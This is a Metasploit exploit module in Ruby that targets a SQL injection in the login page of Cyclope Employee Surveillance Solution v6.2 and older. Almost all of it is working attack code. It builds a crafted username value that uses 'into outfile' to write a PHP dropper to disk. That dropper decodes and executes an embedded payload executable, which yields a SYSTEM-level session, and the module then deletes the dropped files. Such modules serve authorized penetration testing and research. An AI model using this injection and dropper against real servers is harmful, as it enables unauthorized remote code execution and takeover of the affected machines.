metasploit-framework/modules/exploits/windows/http/cyclope_ess_sqli.rb

174 lines
4.7 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "Cyclope Employee Surveillance Solution v6 SQL Injection",
'Description' => %q{
This module exploits a SQL injection found in Cyclope Employee Surveillance
Solution. Because the login script does not properly handle the user-supplied
username parameter, a malicious user can manipulate the SQL query, and allows
arbitrary code execution under the context of 'SYSTEM'.
},
'License' => MSF_LICENSE,
'Author' =>
[
'loneferret', #Original discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '84517'],
['EDB', '20393']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
[
['Cyclope Employee Surveillance Solution v6.2 or older', {}]
],
'Privileged' => false,
'DisclosureDate' => "Aug 8 2012",
'DefaultTarget' => 0))
register_options(
[
OptPort.new('RPORT', [true, "The web application's port", 7879]),
OptString.new('TARGETURI', [true, 'The base path to to the web application', '/'])
])
end
def check
peer = "#{rhost}:#{rport}"
path = File.dirname("#{target_uri.path}/.")
b64_version = get_version(path)
if b64_version.empty?
vprint_error("Unable to determine the version number")
else
b64_version = Rex::Text.decode_base64(b64_version)
if b64_version =~ /^[0-6]\.1/
return Exploit::CheckCode::Appears
end
end
return Exploit::CheckCode::Safe
end
def get_version(path)
res = send_request_raw({'uri'=> "#{path}index.php"})
return '' if not res
v = res.body.scan(/\<link rel\=\"stylesheet\" type\=\"text\/css\" href\=\"([\w\=]+)\/css\/.+\" \/\>/).flatten[0]
return '' if not v
return v
end
def on_new_session(cli)
if cli.type != 'meterpreter'
print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}")
return
end
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
begin
print_warning("Deleting #{@php_fname}")
cli.fs.file.rm(@php_fname)
rescue ::Exception => e
print_error("Please note: #{@php_fname} is stil on disk.")
end
begin
print_warning("Deleting #{@exe_fname}")
cli.fs.file.rm(@exe_fname)
rescue ::Exception => e
print_error("Please note: #{@exe_fname} is still on disk.")
end
end
def get_php_payload(fname)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("#{fname}");
?>
|
php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
return php
end
def exploit
peer = "#{rhost}:#{rport}"
path = File.dirname("#{target_uri.path}/.")
#
# Need to fingerprint the version number in Base64 for the payload path
#
b64_version = get_version(path)
if b64_version.empty?
print_error("Unable to determine the version number")
return
end
print_status("Obtained version: #{Rex::Text.decode_base64(b64_version)}")
#
# Prepare our payload (naughty exe embedded in php)
#
@exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'
@php_fname = Rex::Text.rand_text_alpha(6) + '.php'
php = get_php_payload(@exe_fname).unpack("H*")[0]
sqli = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/#{b64_version}/#{@php_fname}' LINES TERMINATED BY 0x#{php}) and '1'='1"
#
# Inject payload
#
print_status("Injecting PHP payload...")
res = send_request_cgi({
'method' => 'POST',
'uri' => path,
'vars_post' => {
'act' => 'auth-login',
'pag' => 'login',
'username' => sqli,
'password' => Rex::Text.rand_text_alpha(5)
}
})
#
# Load our payload
#
print_status("Loading payload: #{path}#{b64_version}/#{@php_fname}")
send_request_raw({'uri'=>"#{path}#{b64_version}/#{@php_fname}"})
if res and res.code == 404
print_error("Server returned 404, the upload attempt probably failed")
return
end
handler
end
end